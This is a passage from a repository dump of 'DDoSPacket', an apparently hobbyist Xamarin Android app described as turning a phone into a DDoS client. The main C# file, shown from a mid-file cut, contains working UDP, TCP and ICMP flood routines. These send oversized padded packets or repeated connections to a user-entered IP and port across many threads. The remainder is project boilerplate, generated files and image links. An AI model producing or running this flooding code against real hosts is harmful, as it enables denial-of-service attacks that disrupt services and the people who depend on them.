﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽";
62 | byte[] send_buffer = Encoding.ASCII.GetBytes(text);
63 | byte[] supersize = Encoding.ASCII.GetBytes(text + text);
64 | void udpattack()
65 | {
66 | new Thread(() =>
67 | {
68 | try
69 | {
70 | sock.SendTo(supersize, endPoint);
71 | amountint = amountint + 1;
72 | }
73 | catch
74 | {
75 | amountfint = amountfint + 1;
76 | }
77 | }).Start();
78 | }
79 | void tcpattack()
80 | {
81 | using (TcpClient tcpClient = new TcpClient())
82 | {
83 | try
84 | {
85 | tcpClient.Connect(System.Net.IPAddress.Parse(ip.Text), int.Parse(port.Text));
86 | amountint = amountint + 1;
87 | }
88 | catch (Exception)
89 | {
90 | amountfint = amountfint + 1;
91 | }
92 | }
93 | }
94 | void icmpattack()
95 | {
96 | new Thread(() =>
97 | {
98 | Ping pingSender = new Ping();
99 | string data = "﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽";
100 | byte[] buffer = Encoding.ASCII.GetBytes(data + data + data + data + data);
101 | int timeout = 5000;
102 | PingOptions options = new PingOptions(64, true);
103 | try
104 | {
105 | PingReply reply = pingSender.Send(ip.Text, timeout, buffer, options);
106 | amountint = amountint + 1;
107 | }
108 | catch
109 | {
110 | amountfint = amountfint + 1;
111 | }
112 | }).Start();
113 | }
114 |
115 | if (ip.Text == null)
116 | {
117 | DisplayAlert("Failed to Attack", "IP Box is null!", "OK");
118 | return;
119 | }
120 | else if (port.Text == null)
121 | {
122 | DisplayAlert("Failed to Attack", "Port Box is null!", "OK");
123 | return;
124 | }
125 | if (thread.Text == null)
126 | {
127 | DisplayAlert("Failed to Attack", "Thread Box is null!", "OK");
128 | return;
129 | }
130 | if (NP.SelectedItem == null)
131 | {
132 | DisplayAlert("Failed to Attack", "Network Protocol is null!", "OK");
133 | return;
134 | }
135 | if (NP.SelectedItem == "UDP")
136 | {
137 | DisplayAlert("Attack Status", "Started Attacking.\nType: UDP", "OK");
138 | amountfint = 0;
139 | amountint = 0;
140 | update();
141 | new Thread(() =>
142 | {
143 | for (int i = 0; i < int.Parse(thread.Text); i++)
144 | {
145 | udpattack();
146 | }
147 | }).Start();
148 | }
149 | else if (NP.SelectedItem == "TCP")
150 | {
151 | amountfint = 0;
152 | amountint = 0;
153 | DisplayAlert("Attack Status", "Started Attacking.\nType: TCP", "OK");
154 | update();
155 | new Thread(() =>
156 | {
157 | for (int i = 0; i < int.Parse(thread.Text); i++)
158 | {
159 | tcpattack();
160 | }
161 | }).Start();
162 |
163 | }
164 | else if (NP.SelectedItem == "ICMP")
165 | {
166 | port.Text = "10";
167 | amountfint = 0;
168 | amountint = 0;
169 | DisplayAlert("Attack Status", "Started Attacking.\nType: ICMP", "OK");
170 | update();
171 | new Thread(() =>
172 | {
173 | for (int i = 0; i < int.Parse(thread.Text); i++)
174 | {
175 | icmpattack();
176 | }
177 | }).Start();
178 | }
179 | }
180 | void stop(object sender, EventArgs args)
181 | {
182 | System.Diagnostics.Process.GetCurrentProcess().Kill();
183 | }
184 |
185 | void INFO(object sender, EventArgs args)
186 | {
187 | DisplayAlert("Welcome", "Welcome to DDoS Packet for Android!\nVersion: 0.7.5 Beta\nDeveloper: fusedevgithub\nWarning: We are not responsible for any damage caused by this application please legally to use only!\nNotice: This version maybe have less methods and many bugs.\nPlease Report if you found!", "OK");
188 | }
189 | }
190 | }
191 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket/icon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacket/DDoSPacket/DDoSPacket/icon.ico
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket/obj/DDoSPacket.csproj.nuget.cache:
--------------------------------------------------------------------------------
1 | {
2 | "version": 1,
3 | "dgSpecHash": "Rtk8uUmm2+5aZelZ9faUd59w697Wr9XMFpwkHZFGYSGX66GsZ2ek3PZ78BB4m3/jrWYLvDz9whmxTCe9dvbhlw==",
4 | "success": true
5 | }
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket/obj/DDoSPacket.csproj.nuget.g.props:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | True
5 | NuGet
6 | C:\Users\AlexDev\source\repos\DDoSPacket\DDoSPacket\DDoSPacket\obj\project.assets.json
7 | $(UserProfile)\.nuget\packages\
8 | C:\Users\AlexDev\.nuget\packages\;C:\Program Files\dotnet\sdk\NuGetFallbackFolder
9 | PackageReference
10 | 4.9.3
11 |
12 |
13 | $(MSBuildAllProjects);$(MSBuildThisFileFullPath)
14 |
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket/obj/DDoSPacket.csproj.nuget.g.targets:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | $(MSBuildAllProjects);$(MSBuildThisFileFullPath)
5 |
6 |
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket/obj/Debug/netstandard2.0/App.xaml.g.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | [assembly: global::Xamarin.Forms.Xaml.XamlResourceIdAttribute("DDoSPacket.App.xaml", "App.xaml", typeof(global::DDoSPacket.App))]
12 |
13 | namespace DDoSPacket {
14 |
15 |
16 | [global::Xamarin.Forms.Xaml.XamlFilePathAttribute("App.xaml")]
17 | public partial class App : global::Xamarin.Forms.Application {
18 |
19 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Xamarin.Forms.Build.Tasks.XamlG", "0.0.0.0")]
20 | private void InitializeComponent() {
21 | global::Xamarin.Forms.Xaml.Extensions.LoadFromXaml(this, typeof(App));
22 | }
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket/obj/Debug/netstandard2.0/DDoSPacket.AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | using System;
12 | using System.Reflection;
13 |
14 | [assembly: System.Reflection.AssemblyCompanyAttribute("DDoSPacket")]
15 | [assembly: System.Reflection.AssemblyConfigurationAttribute("Debug")]
16 | [assembly: System.Reflection.AssemblyCopyrightAttribute("fusedevgithub")]
17 | [assembly: System.Reflection.AssemblyDescriptionAttribute("Make own Phone become DDoS Client without Termux or PC!")]
18 | [assembly: System.Reflection.AssemblyFileVersionAttribute("0.5.0.0")]
19 | [assembly: System.Reflection.AssemblyInformationalVersionAttribute("0.5.0")]
20 | [assembly: System.Reflection.AssemblyProductAttribute("DDoSPacket")]
21 | [assembly: System.Reflection.AssemblyTitleAttribute("DDoSPacket")]
22 | [assembly: System.Reflection.AssemblyVersionAttribute("0.5.0.0")]
23 |
24 | // Generated by the MSBuild WriteCodeFragment class.
25 |
26 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket/obj/Debug/netstandard2.0/DDoSPacket.AssemblyInfoInputs.cache:
--------------------------------------------------------------------------------
1 | 5bd7dbeded7571f8f7a2cf7f5aaa66011f8cb189
2 |
--------------------------------------------------------------------------------
/DDoSPacket/DDoSPacket/DDoSPacket/obj/Debug/netstandard2.0/DDoSPacket.assets.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacket/DDoSPacket/DDoSPacket/obj/Debug/netstandard2.0/DDoSPacket.assets.cache
--------------------------------------------------------------------------------
/DDoSPacket/readme.txt:
--------------------------------------------------------------------------------
1 | Warning this folder is so out of dated we need you use a DDoSPacketAndroid folder.
2 | - Why?: I moved windows and something i can't build.
3 |
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.28307.1831
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DDoSPacketAndroid.Android", "DDoSPacketAndroid\DDoSPacketAndroid.Android\DDoSPacketAndroid.Android.csproj", "{5F0F9CF5-D6AE-4DC5-BC04-248DB0711EC3}"
7 | EndProject
8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DDoSPacketAndroid", "DDoSPacketAndroid\DDoSPacketAndroid\DDoSPacketAndroid.csproj", "{EE4DF003-3747-4206-BCBF-A75F6231B3FE}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|Any CPU = Debug|Any CPU
13 | Release|Any CPU = Release|Any CPU
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {5F0F9CF5-D6AE-4DC5-BC04-248DB0711EC3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {5F0F9CF5-D6AE-4DC5-BC04-248DB0711EC3}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {5F0F9CF5-D6AE-4DC5-BC04-248DB0711EC3}.Debug|Any CPU.Deploy.0 = Debug|Any CPU
19 | {5F0F9CF5-D6AE-4DC5-BC04-248DB0711EC3}.Release|Any CPU.ActiveCfg = Release|Any CPU
20 | {5F0F9CF5-D6AE-4DC5-BC04-248DB0711EC3}.Release|Any CPU.Build.0 = Release|Any CPU
21 | {5F0F9CF5-D6AE-4DC5-BC04-248DB0711EC3}.Release|Any CPU.Deploy.0 = Release|Any CPU
22 | {EE4DF003-3747-4206-BCBF-A75F6231B3FE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
23 | {EE4DF003-3747-4206-BCBF-A75F6231B3FE}.Debug|Any CPU.Build.0 = Debug|Any CPU
24 | {EE4DF003-3747-4206-BCBF-A75F6231B3FE}.Release|Any CPU.ActiveCfg = Release|Any CPU
25 | {EE4DF003-3747-4206-BCBF-A75F6231B3FE}.Release|Any CPU.Build.0 = Release|Any CPU
26 | EndGlobalSection
27 | GlobalSection(SolutionProperties) = preSolution
28 | HideSolutionNode = FALSE
29 | EndGlobalSection
30 | GlobalSection(ExtensibilityGlobals) = postSolution
31 | SolutionGuid = {A556C9E3-351D-42DF-A341-9F7A0734DD86}
32 | EndGlobalSection
33 | EndGlobal
34 |
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Assets/AboutAssets.txt:
--------------------------------------------------------------------------------
1 | Any raw assets you want to be deployed with your application can be placed in
2 | this directory (and child directories) and given a Build Action of "AndroidAsset".
3 |
4 | These files will be deployed with you package and will be accessible using Android's
5 | AssetManager, like this:
6 |
7 | public class ReadAsset : Activity
8 | {
9 | protected override void OnCreate (Bundle bundle)
10 | {
11 | base.OnCreate (bundle);
12 |
13 | InputStream input = Assets.Open ("my_asset.txt");
14 | }
15 | }
16 |
17 | Additionally, some Android functions will automatically load asset files:
18 |
19 | Typeface tf = Typeface.CreateFromAsset (Context.Assets, "fonts/samplefont.ttf");
20 |
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/DDoSPacketAndroid.Android.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | AnyCPU
6 | {5F0F9CF5-D6AE-4DC5-BC04-248DB0711EC3}
7 | {EFBA0AD7-5A72-4C68-AF49-83D382785DCF};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}
8 | {c9e5eea5-ca05-42a1-839b-61506e0a37df}
9 | Library
10 | DDoSPacketAndroid.Droid
11 | DDoSPacketAndroid.Android
12 | True
13 | Resources\Resource.designer.cs
14 | Resource
15 | Properties\AndroidManifest.xml
16 | Resources
17 | Assets
18 | false
19 | v8.1
20 | Xamarin.Android.Net.AndroidClientHandler
21 |
22 |
23 |
24 |
25 | false
26 | portable
27 | false
28 | bin\Debug
29 | DEBUG;
30 | prompt
31 | 4
32 | None
33 | false
34 | false
35 | false
36 | true
37 | false
38 |
39 |
40 | false
41 | pdbonly
42 | true
43 | bin\Release
44 | prompt
45 | 4
46 | true
47 | false
48 | false
49 | false
50 | false
51 | true
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 | {CCD7F089-4EEA-466A-8F63-78CE1730855D}
106 | DDoSPacketAndroid
107 |
108 |
109 |
110 |
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/DDoSPacketAndroid.Android.csproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Samsung SM-G988N
5 |
6 |
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/MainActivity.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | using Android.App;
4 | using Android.Content.PM;
5 | using Android.Runtime;
6 | using Android.Views;
7 | using Android.Widget;
8 | using Android.OS;
9 | using DDoSPacketAndroid.Droid;
10 |
11 | namespace DDoSPacket.Droid
12 | {
13 | [Activity(Label = "DDoSPacket", Icon = "@mipmap/icon", Theme = "@style/MainTheme", MainLauncher = true, ConfigurationChanges = ConfigChanges.ScreenSize | ConfigChanges.Orientation)]
14 | public class MainActivity : global::Xamarin.Forms.Platform.Android.FormsAppCompatActivity
15 | {
16 | protected override void OnCreate(Bundle savedInstanceState)
17 | {
18 | TabLayoutResource = Resource.Layout.Tabbar;
19 | ToolbarResource = Resource.Layout.Toolbar;
20 |
21 | base.OnCreate(savedInstanceState);
22 | global::Xamarin.Forms.Forms.Init(this, savedInstanceState);
23 | LoadApplication(new App());
24 | }
25 | }
26 | }
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Properties/AndroidManifest.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 | using Android.App;
5 |
6 | // General Information about an assembly is controlled through the following
7 | // set of attributes. Change these attribute values to modify the information
8 | // associated with an assembly.
9 | [assembly: AssemblyTitle("DDoSPacket.Android")]
10 | [assembly: AssemblyDescription("")]
11 | [assembly: AssemblyConfiguration("")]
12 | [assembly: AssemblyCompany("")]
13 | [assembly: AssemblyProduct("DDoSPacket.Android")]
14 | [assembly: AssemblyCopyright("Copyright © 2014")]
15 | [assembly: AssemblyTrademark("")]
16 | [assembly: AssemblyCulture("")]
17 | [assembly: ComVisible(false)]
18 |
19 | // Version information for an assembly consists of the following four values:
20 | //
21 | // Major Version
22 | // Minor Version
23 | // Build Number
24 | // Revision
25 | //
26 | // You can specify all the values or you can default the Build and Revision Numbers
27 | // by using the '*' as shown below:
28 | // [assembly: AssemblyVersion("1.0.*")]
29 | [assembly: AssemblyVersion("1.0.0.0")]
30 | [assembly: AssemblyFileVersion("1.0.0.0")]
31 |
32 | // Add some common permissions, these can be removed if not needed
33 | [assembly: UsesPermission(Android.Manifest.Permission.Internet)]
34 | [assembly: UsesPermission(Android.Manifest.Permission.WriteExternalStorage)]
35 |
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/AboutResources.txt:
--------------------------------------------------------------------------------
1 | Images, layout descriptions, binary blobs and string dictionaries can be included
2 | in your application as resource files. Various Android APIs are designed to
3 | operate on the resource IDs instead of dealing with images, strings or binary blobs
4 | directly.
5 |
6 | For example, a sample Android app that contains a user interface layout (main.xml),
7 | an internationalization string table (strings.xml) and some icons (drawable-XXX/icon.png)
8 | would keep its resources in the "Resources" directory of the application:
9 |
10 | Resources/
11 | drawable-hdpi/
12 | icon.png
13 |
14 | drawable-ldpi/
15 | icon.png
16 |
17 | drawable-mdpi/
18 | icon.png
19 |
20 | layout/
21 | main.xml
22 |
23 | values/
24 | strings.xml
25 |
26 | In order to get the build system to recognize Android resources, set the build action to
27 | "AndroidResource". The native Android APIs do not operate directly with filenames, but
28 | instead operate on resource IDs. When you compile an Android application that uses resources,
29 | the build system will package the resources for distribution and generate a class called
30 | "Resource" that contains the tokens for each one of the resources included. For example,
31 | for the above Resources layout, this is what the Resource class would expose:
32 |
33 | public class Resource {
34 | public class drawable {
35 | public const int icon = 0x123;
36 | }
37 |
38 | public class layout {
39 | public const int main = 0x456;
40 | }
41 |
42 | public class strings {
43 | public const int first_string = 0xabc;
44 | public const int second_string = 0xbcd;
45 | }
46 | }
47 |
48 | You would then use R.drawable.icon to reference the drawable/icon.png file, or Resource.layout.main
49 | to reference the layout/main.xml file, or Resource.strings.first_string to reference the first
50 | string in the dictionary file values/strings.xml.
51 |
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/layout/Tabbar.axml:
--------------------------------------------------------------------------------
1 |
2 |
12 |
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/layout/Toolbar.axml:
--------------------------------------------------------------------------------
1 |
9 |
10 |
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/mipmap-anydpi-v26/icon.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/mipmap-anydpi-v26/icon_round.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/mipmap-hdpi/icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/mipmap-hdpi/icon.png
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/mipmap-hdpi/launcher_foreground.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/mipmap-hdpi/launcher_foreground.png
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/mipmap-mdpi/icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/mipmap-mdpi/icon.png
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/mipmap-mdpi/launcher_foreground.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/mipmap-mdpi/launcher_foreground.png
--------------------------------------------------------------------------------
